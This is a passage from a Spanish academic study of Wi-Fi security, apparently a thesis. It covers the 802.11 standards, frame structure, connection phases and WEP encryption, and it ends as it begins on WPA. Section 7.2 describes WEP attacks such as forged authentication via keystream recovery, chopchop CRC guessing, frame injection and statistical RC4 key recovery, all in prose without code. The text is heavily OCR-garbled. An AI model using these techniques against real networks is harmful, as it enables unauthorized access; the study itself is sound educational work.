(relacionados con seguridad en los casos que quepa mencién), de modo que permita una
comparativa mas clara y sin entrar en detalles estrictamente fisicos (como la modulacion de la
sefal):

- Afo: el afio de publicacion o ratificacion de la norma.

- Banda de frecuencia: banda de frecuencia sobre la que trabaja.

- Velocidad: velocidad méxima de transmision tedrica.

- Pros: puntos de ventajas que ofrece respecto a anteriores estandares.
- Contras: problemas detectados o vulnerabilidades.

En los casos en los que estos campos no sean actualizados (debido a que el estandar se haya
centrado en otros aspectos) simplemente se indicardn como No Aplica (N/A).

802.11-1997 (legacy)

Afio 1997

Banda de frecuencia 2,4 GHz

Velocidad 2 Mbl/s

Pros Sistema anti colisiones CSMA/CA

Contras Problemas de interoperabilidad entre diferentes marcas




802.11b

Afo 1999

Banda de frecuencia 2,4 GHz

Velocidad 11 Mb/s

Pros Aumento de velocidad. Primera implementacién ampliamente
aceptada por el mercado.

Contras Interferencias con otros dispositivos que operan bajo la
misma banda de 2,4GHz.

802.11a

Afio 1999

Banda de frecuencia 5 GHz

Velocidad 54 Mb/s

Pros Mayor velocidad y evita los problemas de interferencias de
802.11b.

Contras Menor aceptacion en el mercado, debido al mayor coste. La
sefial es absorbida por muros mas facilmente.

802.11g

Afio 2003

Banda de frecuencia 2,4 GHz

Velocidad 54 Mb/s

Pros Compatibilidad con 802.11b. Abaratamiento de coste.
Regulacion de canales por paises para evitar las
interferencias en la misma banda de frecuencia.

Contras Sufre los mismos problemas de interferencias que 802.11b.




802.11i

Afo 2004

Banda de frecuencia N/A

Velocidad N/A

Pros Mejoras importantes de seguridad: WPA, WPA2 e
implantacién de sistemas de autenticacién 802.1X (este
punto sera tratado més adelante en el estudio de los cifrados
de seguridad).

Contras N/A

802.11n (Wi-Fi 4)

Afo 2009 (ratificado)

Banda de frecuencia 2,4y5GHz

Velocidad 600 Mb/s

Pros Uso simultaneo de ambas bandas de frecuencia. Mayor
velocidad de transmision. Uso de tecnologia MIMO.

Contras Utiliza mayor ancho de banda (hasta 40MHz), provocando
mayor solapamiento entre diferentes puntos de acceso.

802.11r

Afio 2008

Banda de frecuencia N/A

Velocidad N/A

Pros Facilita la itinerancia entre distintos puntos de acceso,
reduciendo los tiempos de negociacion (autenticacion y
negociacion)

Contras Vulnerable desde 2017 (KRACKS). Este punto serd tratado
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mas adelante en el estudio de los cifrados de seguridad.

802.11w

Afo 2009

Banda de frecuencia N/A

Velocidad N/A

Pros Mejoras de seguridad en las tramas de comunicacion en la
capa 2 de control de acceso, debido a que las tramas de
administracion y control se transmiten sin cifrar, lo que
implica problemas de vulnerabilidad.

Contras N/A

802.11ac (Wi-Fi 5)

Afio 2014

Banda de frecuencia 5 GHz

Velocidad 1 Gh/s

Pros Aumento en los streams MIMO. Mayor velocidad. Uso de
Beamforming, que permite priorizar la sefial entre diferentes
dispositivos.

Contras N/A

802.11ax (Wi-Fi 6)

Afio 2019

Banda de frecuencia 2,4y5GHz

Velocidad 10 Gb/s

11




Pros Incremento de velocidad, uso de MU-MIMO, menor consumo
energético (TWT). Uso de protocolo de seguridad WPA3.
Coloracién BSS (BSS Coloring), evitando asi interferencias
entre distintas redes.

Contras Tecnologia muy reciente y aiin no hay muchos dispositivos
certificados que lo utilicen.

Existen mas estandares dentro del 802.11, pero se ha preferido poner el foco en aquellos que
han dado lugar a mejoras mas destacables y sobre todo en cuestion de seguridad. Resaltar que
ha habido un cambio en cuanto a la nomenclatura hasta ahora utilizada, ya que, a partir de 2018,
la Wi-Fi Alliance ha preferido denominarlas como: Wi-Fi 4 para 802.11n, Wi-Fi 5 para 802.11ac
y Wi-Fi 6 para 802.11ax.

Cabe destacar los estandares 802.11i, 802.11w y 802.11ax (o Wi-Fi 6) por sus aportes a nivel de
seguridad. Estos puntos de seguridad seran tratados mas adelante, motivo por el cual no se ha
guerido profundizar en este apartado, cuyo objetivo es tener una vision global de los distintos
estandares por lo que ha pasado la tecnologia Wi-Fi.
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3.- Estudio del modelo de transmisidn fisico

3.1.- Capa fisica

Desde el punto de vista del modelo OSI, el estdndar 802.11 aplica sobre la capa fisica y sobre la
capa de enlace de datos:

unidad de datos nivel o capa

Nivel de aplicacion
servicios de red a aplicaciones

Nivel de presentacion
Dato representacion de los datos

Nivel de sesion
comunicacion entre dispositivos
de lared

Capas del anfitrion
A
Y Y

Nivel de transporte
conexion de extremo a extremo
y control de fiujo de datos )

‘ Segmento

Nivel de red
determinacion de ruta y

Paquete

dueouonamlemo fisico
(MACyLLC)

: Nivel fisico
Bit senal y transmision binaria

Capas del medio

llustracion 6 Modelo OSI

En este apartado vamos a analizar la capa fisica y el modelo de transmision en el espectro
radioeléctrico, de cara a entender mejor ciertos conceptos como pueden ser: bandas, canales,
ancho de banda, modulacion, etc.

3.2.- Bandas

Dentro del espectro electromagnético, tenemos el espectro radioeléctrico, medio fisico por el cual
se transmiten las ondas que se utilizan en las comunicaciones. Estas ondas son las ondas de
radiofrecuencia (RF). A su vez, el espectro queda dividido en diferentes zonas en funcién a su
frecuencia. Estas zonas se denominan bandas, donde cada banda se caracteriza por tener un
comportamiento distinto a la hora de transportar la sefial, con alcance diferente y velocidades de
transmision distintas. A continuacion, veremos la representacion de las diferentes bandas, donde
Wi-Fi quedaria enmarcado en las bandas UHF (Ultra Alta Frecuencia) y SHF (Super Alta
Frecuencia):

Wi-Fi
e I
Extrema

alta
frecuencia frecuencia frecuencia frecuencia frecuencial frecusncia frecuencia] = .
frecuencia

Muy baja Baja Media nlta Muy alta |Ultra alta Super alta

Rangc de Frecuencias

F 30 - 300 300- BBDBF 30 - 300 300-3000

llustracién 7 Bandas
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3.3.- Canales

La banda a su vez se sigue dividiendo en canales, los cuales quedan expresados en hertzios, y
definen la frecuencia central por la cual establecen la comunicacién. Por tanto, los dispositivos
gue deseen comunicarse lo deberian hacer por dicho canal:

llustracion 8 Representacion de los canales con Wifl Analyzer

Como hemos dicho, un canal identifica la frecuencia central de transmision de datos en la
comunicacion de radiofrecuencia, pero no se limita a dicho punto de frecuencia, sino que requiere
de un cierto margen hacia ambos lados, lo cual se define como ancho de banda. Este ancho de
banda (dependiendo de su tamafio) podra pisar con otros canales adyacentes, provocando lo
gue se denomina solapamiento de canales (channel overlapping). Una caracteristica
directamente relacionada al ancho de banda es la velocidad de transmision, por lo que cuanto
mayor sea el ancho, mayor velocidad obtendremos.

Este solapamiento tiene consecuencias negativas, ya que produce interferencias entre diferentes
canales (como podemos observar en la imagen anterior), y requiere de mayores controles para
mantener la integridad de la comunicacion, lo cual daré lugar a pérdidas de tramas (nivel de capa
de enlace).

3.4.- Modulacion

Aqui es donde entra en juego el concepto de modulacion de sefial, la cual permite aprovechar al
maximo el ancho de banda a través de diferentes técnicas encargadas de empaquetar la
informacion que se transmite a través de la onda portadora. La modulacion utilizada también
permitira aumentar la velocidad de transmisién. Algunas de estas técnicas de modulaciéon
utilizadas por 802.11 son:

- FSK: Frequency Shift Keying (modulacion por desplazamiento de frecuencia)

- PSK: Phase Shift Keying (modulacién por desplazamiento de fase)

- OFDM: Orthogonal frequency division multiplexing (multiplexacion por division de
frecuencias ortogonales)

- DSSS: Direct sequence spread spectrum (espectro ensanchado por secuencia directa).

Sefial modulada

VAN AAMANAND AN NOVA AN
A AAMANAAA ANMANR AAAANAN
VUW U\ 1\‘ (VAVAVAY “,J"J VAVERVAY, ‘ulu (VAVRVRVRY:

‘Sev‘a\ moduladora

1 o|1 1

Sefal portadora
YAANNAN
TARVAVATAT
(URVIRV RV VIAVIRY)

A
|

e | 1 ‘ o] o

Iﬂl ff ‘.L l‘l‘- ‘U \‘l .‘I‘- ‘-Uf "l “ P[\ F \|‘ H ’! \!‘I\.‘I‘v.&h"f‘.‘ { ‘I {f\ f \l‘ ‘”l ‘

(VAVRVAVA! (VAVAVRVAY

llustracion 9 Ejemplo de modulacion de sefial. Fuente: Wikipedia
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4.- Estudio topologias redes Wi-Fi

4.1.-

Elementos

En este apartado se analizardn las diferentes topologias que podemos encontrar en las
infraestructuras de red Wi-Fi. Primero definamos los elementos que interactian en una red Wi-

Fi:

4.2.-

Punto de acceso (AP): dispositivo encargado de crear una red Wi-Fi que permita
establecer la comunicacion entre diferentes dispositivos, siendo el elemento intermediario
de la comunicacion inalambrica. Se identifican mediante un nombre, denominado SSID.
El SSID es una secuencia de hasta 32 bytes y esta en todos los paquetes de la red
inaldmbrica, permitiendo identificar la red. Las tramas utilizadas por parte de los AP para
difundir esta informacion (nombre de la red, nivel de sefal, caracteristicas de
funcionamiento) se denominan beacon. Los AP permiten a las estaciones conectarse a
la red cableada.

Estacion (STA): los equipos clientes que se conectan al punto de acceso para pertenecer
a la red inaldmbrica y que poseen una NIC cumpliendo con el estandar 802.11.

Sistema de distribucion (DS): tecnologia que permite ampliar el area de cobertura de una
red. En el caso de redes inalambricas, puede estar formado por varios AP, uno trabajando
como maestro (WDS AP), y otros como esclavos o repetidores (WDS Stations).

STA
‘ ’ aptop
Printer =

Mobile

—_

Tablet ‘ -

PC
llustracion 10 Red Simple BSS

Topologias

En cuanto a las topologias de red, nos podemos encontrar con las siguientes:

BSS (Basic Service Set): Es la topologia mas simple (representada en la llustracion 10),
donde tenemos un uUnico AP, centralizando la red en él. Por tanto, el AP hace de
intermediario en la comunicacion entre cualquier STA conectado a su red. El AP dispone
de un identificador Ginico, denominado BSSID, formado con la direccion MAC del AP.

ESS (Extended Service Set): En esta infraestructura existen dos o0 mas AP, los cuales
pueden estar interconectados mediante red cableada del DS, o de manera inalambrica
con WDS. Esto permite tener una red con mayor cobertura, donde los STA se conectaran
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a los diferentes AP en funcion de la sefal recibida (itinerancia o roaming). En caso de
guerer formar una Unica red, el SSID debera ser el mismo en los diferentes AP, pero
utilizando diferentes canales para evitar solapamientos.

DS

STA

Laptop

llustracién 11 Red ESS

- IBSS (Independent Basic Service Set): Este tipo de infraestructura seria de tipo AdHoc
(peer-to-peer). Los STA se conectan entre si sin tener que pasar por un punto intermedio.
No es una topologia muy utilizada, ya que no permite un gran alcance.

STA a _.;o STA

_@
Printer X Laptop
@

) )

Tablet
llustracién 12 Red IBSS

- Mesh (red mallada): Esta topologia se forma con un AP y distintos satélites (donde todos
se comunican con todos) que permiten ampliar la cobertura de la red y la disponibilidad
de la sefial. DinAmicamente permitird conocer cuél es la mejor ruta para realizar la
conexién en cada momento.
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5.- Analisis comunicacion entre STAy AP

Una vez visto como es el medio fisico por el cual se produce la transmisién de informacién y las
diferentes topologias utilizadas en la infraestructura de redes Wi-Fi, nos centraremos en este
apartado en conocer como se lleva a cabo la comunicacion entre la estacion y el punto de acceso.
Esto nos permitird conocer las diferentes fases y las implicaciones que tienen a nivel de
seguridad.

Podemos definir cuatro fases o etapas por las cuales serd necesario pasar para realizar la
conexion entre STAy AP:

a)

b)

d)

Fase 1: Envio de Beacons. Anteriormente mencionamos que los AP envian unas tramas
a modo balizas, denominadas Beacons, en las cuales informan del nombre de la red, nivel
de sefal, caracteristicas de funcionamiento, etc. De esta manera los AP se dan a conocer
constantemente al resto de dispositivos.

Fase 2: Intercambio de probes. Las estaciones realizan un escaneo a través de todos los
canales para tener conocimiento de las redes que estan a su alcance. A través de tramas
tipo probe request (mas adelante veremos este tipo de tramas) realizara consultas a las
redes conocidas, de modo que, si algun punto de acceso tiene un SSID coincidente con
los consultados, respondera con otro tipo de trama denominada probe response, donde
informar& de sus caracteristicas.

Fase 3: Autenticacién. En esta fase la estacion ha elegido el AP, con el SSID, tipo de
seguridad y clave de cifrado que concuerdan con la informacién intercambiada en los
probes anteriores. Ahora la estacion solicitara la autenticacion contra el AP, el cual
responderd con el tipo de autenticacion correspondiente:

o OSA (open system authentication): en este caso no se realiza ninguna
comprobacion, ya que la seguridad es delegada a otros procesos posteriores.
Utilizado en redes con WPA (se vera en el apartado de Estudio de los cifrados de
seguridad).

o SKA (shared key authentication): en este caso el sistema de autenticacion solicita
un reto. Utilizado en redes WEP (se vera en el apartado de Estudio de los cifrados
de seguridad).

Fase 4: Asociacion. En este momento es cuando la estacion solicita la asociacion con el
AP, donde el AP agrega la MAC de la estacion a su lista de asociados, autorizando la
comunicacion. En el caso de SKA, ya se conoce la clave valida y pueden empezar la
comunicacion cifrando y descifrando el tr&fico. Pero en el caso de OSA, la estacion estaria
asociada y autenticada, pero aun quedaria pendiente el intercambio de EAP, intercambio
de claves de sesion y el inicio de sesion cifrada (intercambio de claves temporales). Este
proceso se llevaria a cabo a través del proceso denominado Handshake de cuatro vias
(se veréa en el apartado de Estudio de los cifrados de seguridad).
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A modo resumen, este seria el proceso de conexion entre un AP y una STA:

Beacons

v

Probe Request

i
-

Probe Response

-
r g

Authentication Request

"
w

Authentication Response

AP > STA

Asssociation Request

"
x

Association Response

A J

llustracion 13 Conexion STA - AP
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6.- Andlisis tipos de tramas en capa de enlace

6.1.- Trama

Del mismo modo que hemos analizado la capa fisica desde el punto de vista del modelo OSI,
ahora nos centraremos en la siguiente capa, la de nivel de enlace de datos. Aqui el principal
concepto que debemos conocer es el de trama. Una trama hace referencia a la unidad minima
de envio de datos en una red. Se puede dividir en tres partes: cabecera, datos y cola.

CABECERA DATOS COLA
Control de ., Direccion | Direccion | Direccion | Control de| Direccion
Duracién ) Datos CRC
Trama 1 2 3 secuencia 4
0-2312
2 bytes 2 bytes 6bytes ©6bytes 6Gbytes 2bytes 6 bytes bytes 4 bytes

llustracion 14 Trama 802.11

Vemos un poco mas a fondo lo que significa cada campo:

- Control de Trama. Estos 2 bytes indican el tipo de trama (que puede ser de control,
gestion o datos), ademas de informacién de control como si la trama es hacia o desde un
DS, fragmentacién de la informacion e informacién de privacidad. Vedmoslo con mas

detalle:
Reintent| Adm. de| mas | @™
Version | Tipo | Subtipo| ADS | De DS MF e protegid| Orden
ar Energia| datos a
2bits  2bits 4 hits 1 bit 1 bit 1 bit 1 bit 1 bit 1 bit 1 bit 1 bit
llustracion 15 Campos de control de trama
O Version: Version de la trama en uso.

(control, gestion y datos).

Tipo y Subtipo: Indica una de las tres funciones y subfunciones de la trama

A DS: Valor a 1 para las tramas de datos destinadas al DS.
De DS: Valor a 1 para las tramas de datos que salen del DS.

Segun estos dos valores podemos tener los siguientes casos:

De DS A DS Descripcién
1 0 La trama proviene de DS a una STA
0 1 Trama de una STA hacia DS
0 0 Trama de una STA a otra STA de la misma BSS
Trama de una STA a otra STA a través de un
1 1 WDS
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1 MF: Valor a 1 para las tramas que tienen otro fragmento.

Reintentar: Valor a 1 si la trama es una retransmisioén de una trama anterior.

1 Adm. de Energia: Valor a 1 para indicar que un nodo estara en el modo de ahorro
de energia.

1 Mas datos: Valor a 1 para indicarle a un nodo en el modo de ahorro de energia
gue se almacenaran mas tramas en bufer para ese nodo.

1 Trama protegida (Protected Frame): Valor a 1 si la trama contiene informacion
encriptada. Indicar que tanto las tramas de gestion como de control van en plano
(este bit viene marcado a 0), y so6lo las tramas de datos pueden ir cifradas. Este
hecho ha dado pie a una de las principales vulnerabilidades utilizadas en
gran parte de los ataques contra Wi-Fl.

1 Orden: Valor a 1 en una trama de datos que utiliza la clase de servicio
estrictamente ordenada (no requiere reordenamiento).

[

Continuamos con el resto de valores de la cabecera:

Duracion: Dependiendo del tipo de trama, representa el tiempo que se requiere en
microsegundos para transmitir la trama o una identidad de asociacion para la STA que
transmitio la trama.

Direccién 1: También denominada DA (Destination MAC address), contiene la direccion
MAC del nodo de destino final en la red.

Direccion 2: También denominada SA (Source MAC address), contiene la direccion MAC
del nodo que inicié la trama.

Direccién 3: También denominada RA (Receiver MAC address), contiene la direccion
MAC de la STA que debe recibir la trama.

Control de secuencia: Contiene el nimero de fragmento y numero de secuencia. Las
tramas retransmitidas se identifican con nimeros de secuencia duplicados.

Direccién 4: También denominada TA (Transmitter MAC address), contiene la direccion
MAC de la STA que ha transmitido la trama.

En la seccién de datos:

Datos: Contiene la informacién que se transporta, que para las tramas de datos suele ser
un paguete IP.

En la seccién de cola:

CRC: Contiene una comprobacién CRC de 32 bits de la trama.

6.2.- Tipos de trama

Tal y como ya hemos adelantado, existen tres tipos de tramas:

Tramas de gestion: permiten mantener las comunicaciones.
Tramas de control: que controlan el uso del medio.
Tramas de datos: transportan la informacion de capas superiores.
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Vamos a analizar cada tipo con mas detalle.

6.3.-

Tramas de Gestion

Son las tramas encargadas de mantener la comunicacion entre las diferentes estaciones (STAy
AP). Existen diferentes tipos de tramas de gestion:

u

Trama de Autenticacion: se produce durante el proceso de autenticacion, cuando la
estacion envia al punto de acceso la peticion de autenticacion, indicando su identidad
dentro del campo de datos. Como vimos anteriormente, la autenticacién puede ser con
sistemas abiertos (OSA) o de clave compartida (SKA). En el primer caso, el dialogo
consiste en una trama enviada por parte de la estacion, y la trama de respuesta del punto
de acceso (permitiendo o no la conexién). En el segundo caso, se producen dos tramas
de autenticacibn mas, ya que se tiene que enviar un reto por parte del punto de acceso a
la estacidn, y ésta debe responder al punto de acceso con el desafio cifrado.

Trama de Desautenticaciéon: este tipo de trama es enviada cuando se quiere dar por
terminada la comunicacion.

Trama de Solicitud de Asociacion: es enviada por parte del cliente cuando solicita la
asociacion con un punto de acceso. En este proceso, el punto de acceso tendra que
reservar los recursos necesarios para el nuevo cliente.

Trama de Respuesta de Asociacion: se trata de la respuesta por parte del punto de
acceso a la trama anterior emitida por el cliente. En esta trama se indicara si se acepta o
no la asociaciéon. En caso afirmativo, incluiré ciertos datos como son el identificador de la
asociacion y tasa de transferencia.

Trama de Solicitud de Reasociacion: se produce durante el roaming de un cliente (cambio
de un punto de acceso a otro de la misma red). Esta trama es enviada por parte del
cliente.

Trama de Respuesta de Reasociacion: similar a la trama de respuesta de asociacion.
Trama de Desasociacion: en enviada cuando se quiere cerrar la conexion de red,
liberando el punto de acceso los recursos asignados al cliente.

Trama Beacon: son las tramas que envian periédicamente (10 por segundo
aproximadamente) los puntos de acceso para darse a conocer a través de su canal. La
informacion que mandan revela datos como el SSID, tipo de seguridad, etc.

Trama de Solicitud de Prueba (probe request): son emitidas por parte de las estaciones
cuando necesitan conocer informacién de otras estaciones. Pueden ser dirigidas a un
punto de acceso en particular o varios (broadcast) a través de los canales disponibles.
Trama de Respuesta de Prueba (probe response): Se trata de la respuesta por parte del
punto de acceso hacia la estacién que emitio la probe request.

Trama de Accion (action frame): son utilizadas por parte de los puntos de acceso para
solicitar una accion determinada a una estacion cliente.
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6.4.- Tramas de Control

Las tramas de control estan enfocadas a la entrega de paquetes entre las diferentes estaciones.
Se contemplan las siguientes tramas de este tipo:

1 RTS (Trama Request to Send): su finalidad es la de reducir las colisiones en situaciones
denominadas “nodo oculto”. Esta situacion se produce cuando dos o mas clientes
conectados a un mismo AP no son conscientes de la existencia de los otros (no se
escuchan debido a que estén fuera del rango de cobertura) y tratan de establecer la
conexién con el AP pensando que el canal estd libre. Para evitar esta situacion, la
estacion envia esta trama RTS para poder comenzar con el envio de una trama.

1 CTS (Trama Clear to Send): esta trama responde a la RTS, con la finalidad de dejar el
canal libre de transmisiones (durante un tiempo que viene indicado en la trama CTS), por
lo que el resto de estaciones dejan de emitir.

0 ACK (Tramas de Acknowledgement): es utilizada para confirmar la recepcién de una
trama, por lo que, si no se recibe el ACK, el emisor insistird en el envio de la trama de
datos.

6.5.- Tramas de Datos

Son las tramas con el payload o informacién que se quiere enviar a las capas superiores (un
paquete a nivel de red). Dependiendo de si la red esté cifrada o no, los datos seran transportados
cifrados o en claro (como en el caso de redes abiertas sin encriptacién, denominadas OPEN).

22



7.- Estudio de los cifrados de seguridad

En este apartado analizaremos los diferentes tipos de seguridad utilizados hasta hoy en las redes
Wi-Fi y necesarios para el proceso de autenticacion: WEP, WPA, WPA2 y WPAS.

7.1.- WEP

El cifrado WEP (Wired equivalent privacy) se basa en el uso de clave compartida (PSK) para el
proceso de autenticaciéon. Como vimos en la evolucion del estandar 802.11, en 802.11i se
realizaron una serie de mejoras relacionadas con la seguridad, momento a partir del cual se
desaconsej6 el uso de PSK. El cifrado WEP tenia la intencién de dotar a la red inalambrica la
misma privacidad que la red cableada (de ahi su nombre). Recordemos cémo es la estructura de
una trama:

CABECERA DATOS COLA
Control de -, Direccion | Direccion | Direccion | Control de| Direccion
Duracion ) Datos CRC
Trama 1 2 3 secuencia 4
0-2312

2 bytes 2 bytes Gbytes ©Gbytes 6Gbytes 2bytes 6 bytes bytes 4 bytes

llustracion 16 Trama 802.11

Veamos cémo se forma la parte correspondiente a los DATOS de una trama cifrada con WEP:

Cifrado

v Id Clave Datos ICV
3 bytes 1 byte 1-2304 bytes 4 bytes

llustracion 17 Datos de una trama WEP
Como vemos, los 2312 bytes de la parte de DATOS se han dividido en cuatro partes:

O IV: Vector de inicializacion. Son 24 bits utilizados para cifrar los datos junto con la clave
compartida. El motivo de este campo es generar claves de cifrado diferentes para cada
trama, actuando como componente salt.

U Id Clave: El punto de acceso puede tener hasta cuatro claves, por lo que este campo
identifica la clave utilizada para poder ser descifrada por el destinatario (el cual debe
conocer también estas claves).

O Datos: Aqui estarian los datos cifrados.

U ICV: Integrity check value, consiste en un CRC que se calcula sobre el campo anterior
(datos) antes de ser cifrado. Este campo también es cifrado junto con el de datos. La
intencion de este campo es verificar que la trama no ha sido manipulada.

La clave de cifrado por tanto estara formada por una parte variable (24 bits de 1V) y una parte
fija, también denominada clave raiz (como hemos mencionado, puede tener hasta cuatro claves).
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Esta clave raiz puede tener diferentes longitudes, y en funcion de su longitud, dara lugar a
diferentes versiones de cifrado WEP:

- 64 bits (24 bits de IV + 40 bits de clave). Da lugar a WEP-64. Esto nos da una longitud de
clave raiz de 5 bytes (5 caracteres ASCII).

- 128 bits (24 bits de IV + 104 bits de clave). Da lugar a WEP-128. Esto nos da una longitud
de clave raiz de 13 bytes (13 caracteres ASCII).

- 256 bits (24 bits de IV + 232 bits de clave). Da lugar a WEP-256 (apenas implementado,
siendo los dos primeros los mas utilizados).

El algoritmo criptogréfico utilizado se denomina RC4 (Ron’s Code 4). Es un algoritmo simétrico
de flujo muy popular debido a que muchos fabricantes ya lo traian incorporados en sus chips,
siendo una implementacion bastante sencilla y econémica a nivel hardware (operaciones XOR
principalmente).

Sin entrar en el detalle de dicho algoritmo, podemos decir que se basa el algoritmo KSA (Key
Scheduling Algorithm), el cual utiliza un vector de estado de longitud 256 bytes inicializado de
manera consecutiva (de 0 a 255), y sobre el que se aplican operaciones y permutaciones byte a
byte haciendo uso de la clave raiz. A la hora de encriptar/desencriptar, realiza operaciones XOR
byte a byte junto con los bytes de un keystream. Este keystream es obtenido con el algoritmo
PRGA (Pseudo-Random Generation Algorithm). El siguiente esquema resume el funcionamiento
de cifrado del algoritmo RC4:

Trama en
claro CABECERA DATOS coLa

Datos ICV
Keystream /!!\'
') o
v Clave > | XOR
RC4 \/
v
1% Id Clave Datos ICV

Trgma "'
Encriptada/ | o apEcERA DATOS COLA

llustracion 18 Algoritmo RC4
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Este otro esquema representa los pasos seguidos para generar una trama cifrada:

Fase 1 f Fase 2 \ f Fase 3 \ ( Fase 4 Y
Generar IV «| Concatenar IV « | Calcular CRCy - Concatenar
1 conclave raiz “| obtenericv - Datos y
ICV.
\ J \ J Cifrar con
clave RC4
(obtenida en
Fase 2)
¥
. ~—
* Clave RC4 Inserta los
Datos a la

trama

h J

Trama
/ |Cabecera| | Datos | | Cola

llustracién 19 Cifrado de Trama

Como vemos, el proceso es bastante sencillo:

- Enla Fase 1 se genera el vector de inicializacion. Este debe ser diferente en cada trama,
0 que no se repita hasta un nimero elevado de tramas. Esto se consigue de dos maneras:
con un generador de nimeros pseudoaleatorios o incrementando en 1 el anterior, a modo
contador. Dado que se utilizan 24 bits para este campo, como maximo se podran genera
224 vectores de inicializacion diferentes, es decir, 16 millones.

- En la Fase 2 se concatena el IV con la clave raiz, obteniendo asi lo que sera la clave
RCA4.

- Enla Fase 3 se realiza el calculo CRC de la parte de datos y se obtiene el ICV.

- En la Fase 4, tras concatenar los datos y el ICV, se lleva a cabo el cifrado con la clave
RC4 y por ultimo se insertan los datos en la trama, siguiendo la estructura vista antes: 1V,
Id de Clave, Datos e ICV.
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El proceso inverso, para descifrar la trama, seria el siguiente:

f Fase 2 ) f Fase 3 )
Lectura IV | Concatenar IV «| Descifrar los « | Verificar CRC de
de la trama "1 conclave raiz 71 datosconla = los datos
segin el id de clave RC4 descifrados
\ clave ) \ J con el ICV
¥
‘ # ¥ Clave RC4

llustracién 20 Descifrado de Trama

7.2.- Vulnerabilidades en WEP

A continuacion, se detallan las vulnerabilidades detectadas en el sistema WEP.

7.2.1.- Inyeccion de tramas

Debido a que no se realiza ningan control de tramas duplicadas, un atacante podria inyectar
tramas (previamente capturadas) con el IV repetido (dado que el sistema lo permite), tantas
veces como quiera mientras que la asociacion siga existiendo. Incluso si la asociaciéon ya no
existe, el atacante podria modificar las direcciones incluidas en la cabecera (recordemos que
estas no estan encriptadas) para adaptarlas a otra asociacion existente.

7.2.2.- Falsificacion de la autenticacion

Si se consigue capturar las tramas de autenticacion entre un STA y un AP, se podrian generar
tramas de autenticacion que serian validadas por el AP. Recordemos cémo son las tramas de
autenticacion:

Authentication Request

-«
Authentication Response (RETO en Claro)
>
Asssociation Request (Cifrado del RETO)
< STA
AP
Association Response >

llustracién 21 Tramas de autenticacion

Si se capturan tramas de este tipo, tendremos por un lado el RETO en claro, y por otro la
respuesta al RETO cifrada. Por tanto, aplicando la operacion XOR a ambos datos, obtendremos
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la cadena keystream. Por lo tanto, sélo quedaria enviar una trama de autenticacion, y al recibir
el reto, se podria generar la respuesta al reto aplicando el keystream y afiadiendo el IV capturado
en las tramas anteriores. EI AP comprobard que la respuesta es valida, respondiendo
afirmativamente a la autenticacion, todo ello sin disponer de la clave.

Gracias a esto, podemos cifrar tramas que seran aceptadas por el AP sin necesidad de conocer
la clave. Y aqui es donde radica el mayor problema, ya que, si disponemos de un nimero de
suficientes tramas de datos y suficientes IV, se podrd obtener estadisticamente la clave de
cifrado.

7.2.3.- Prediccion de CRC32

Como dijimos, el campo ICV es calculado como el resultado de aplicar el algoritmo CRC a los
datos. Si capturamos una trama cifrada, y generamos una nueva trama valida, pero modificando
el ultimo byte de la seccién de datos cifrados (excluyendo el ICV) y generando un nuevo ICV
(aplicando CRC), de tal modo que probemos todas las posibilidades con dicho byte, si el AP
responde positivamente y no descarta la trama, sabremos entonces que el valor de dicho byte
se corresponde con el valor descifrado del dato. Luego, si se sigue aplicando esta técnica a cada
uno de los bytes anteriores, podremos llegar a descifrar el contenido del dato cifrado sin tener la
clave (esta técnica se denomina ataque “chopchop”).

El uso de CRC para validar la integridad de la trama cifrada también ha permitido desvelar el
dato original.

7.2.4.- Obtencion de una parte del keystream

Como hemos visto antes, debido al uso de XOR de RC4, si tenemos el dato en claro y el dato
cifrado, podemos recuperar facilmente el keystream utilizado. Esto también es aplicable a
menores fragmentos, ya que un paquete WEP, en la seccion de datos (payload), contiene la capa
LLC (Logical Link Control, 3 bytes) y SNAP (Subnet Access Protocol, 5 bytes), que almacenan
datos estaticos (comun a todos los paquetes, cifrados o no):

LLC SNAP
DSAP SSAP CONT P_id Type Data
1 byte 1 byte 1 byte 3 bytes 2 bytes

llustracion 22 Capa LLC y SNAP
Estos campos tienen los siguientes valores:

- DSAP (Destination Service Access Point): OXAA
- SSAP (Source Service Access Point): OxAA
- CONT: 0x03
- P_id: 0X000000
- Type:
- ARP: 0x8006
- RARP: 0x8035

- |Pv6: 0x86dd
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Por tanto, podemos llegar a conocer 8 bytes de los datos, tanto cifrados como sin cifrar, lo cual
implica conocer 8 bytes del keystream. Tomando 4 bytes para datos y otros 4 para el ICV y
aplicando el keystream obtenido, generamos un paquete de 4 bytes

Ya que las tramas permiten fragmentacion, podemos enviar hasta 16 fragmentos, por lo que
podremos enviar hasta 64 bytes de informacion.

Nuevamente se permite inyectar paquetes y aprovechar esta vulnerabilidad para obtener mas
informacion.

7.2.5.- Probabilidades derivadas de RC4

Tras ser analizado a fondo el algoritmo RC4 por parte de los criptoanalistas Scott Fluhrer, Itsik
Manti y Adi Shamir (FSM) en el afio 2001 y en 2004 por parte de “KoreK” (participante anénimo
del forum NetStumbler.org), se detecta un fallo ante la probabilidad de que ciertos elementos del
vector de estado no sean intercambiados desde la interaccion ‘n’ del algoritmo KSA. Esto permite
gue con un numero determinado de tramas (dependiendo de la condicién buscada y tipo de
ataque), se puede obtener el valor correcto de la clave WEP con una probabilidad alta de éxito.

En 2005 se detectan nuevas vulnerabilidades (aprovechadas a través del ataque Klein) y que en
2007 son mejoradas (ataque PTW, Andrei Pyshkin, Erik Tews y Ralf-Philipp Weinmann). Se
aprovechan de anomalias de las propiedades estadisticas de la programacion de claves RC4,
gue requieren muchas menos tramas para poder recuperar la clave WEP (47.000 tramas para
un 90% de éxito).

7.3.- WPA

Ante la inminente necesidad de mejorar la seguridad en el sistema WEP, las mejoras aportadas
por el grupo de trabajo 802.11i se fueron plasmando en un nuevo sistema de seguridad: WPA
(Wi-Fi Protected Access), creado para que fuese compatible con el actual hardware (sélo
requiere actualizacion del firmware). Una vez publicada la versién oficial de 802.11i en 2004, la
Wi-Fi Alliance la incorporé en el nuevo sistema que denomind WPA2. Pero veamos cémo
funciona cada uno de estos sistemas.

El sistema WPA trae mejoras tanto a nivel autenticacion (haciendo uso de IEEE 802.1X) como
en el algoritmo utilizado para cifrar (TKIP). Desde el punto de vista de la autenticacion, el estandar
802.1X provee un intercambio de claves de sesion mas seguro, ya que implica que la
autenticacion sea mutua (STA se autentica contra AP, y AP se autentica contra STA), evitando
asi la comunicacion con un AP falso. Basdndose en EAP permite aplicar diferentes tipos de
autenticacion (usuario/clave, certificados X.509, tarjetas identificadoras con chip, etc...). Este tipo
de autenticacion es mas propio de redes empresariales (WPA-Enterprise), y a nivel doméstico,
